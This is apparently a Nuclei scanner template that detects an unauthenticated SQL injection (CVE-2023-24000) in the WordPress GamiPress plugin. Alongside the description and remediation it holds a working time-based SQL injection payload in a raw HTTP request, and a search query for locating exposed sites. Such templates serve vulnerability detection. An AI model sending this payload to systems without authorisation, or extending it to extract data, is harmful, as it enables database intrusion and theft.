id: CVE-2023-24000

info:
  name: WordPress GamiPress <= 2.5.7 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    The GamiPress plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 2.5.7 due to insufficient escaping on the user supplied parameter '$qv[$field_id]' and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, data tampering, or database compromise.
  remediation: |
    Update to the latest version of GamiPress, version 2.5.8 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24000
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-24000
    epss-score: 0.0257
    epss-percentile: 0.83134
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/wp-content/plugins/gamipress/"
  tags: cve,cve2023,wordpress,wp-plugin,gamipress,sqli,wp,vkev

http:
  - raw:
      - |
        @timeout: 30s
        GET /wp-json/wp/v2/gamipress-logs?trigger_type[]=test')%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(6)))x)%20AND%20('a'='a HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 6'
          - 'len(body) == 2'
          - 'status_code == 200'
          - 'contains(body, "[]")'
          - 'contains(content_type, "application/json")'
        condition: and
# digest: 4b0a004830460221008d79c10ced65abc6905a4777dba9282da9e35336de09ddc53140ccb3909a04220221008be7c2156fb0d936bf4f208da0907b10106d251f8052d41aee3bbd57b598d0f8:922c64590222798bb761d5b6d8e72950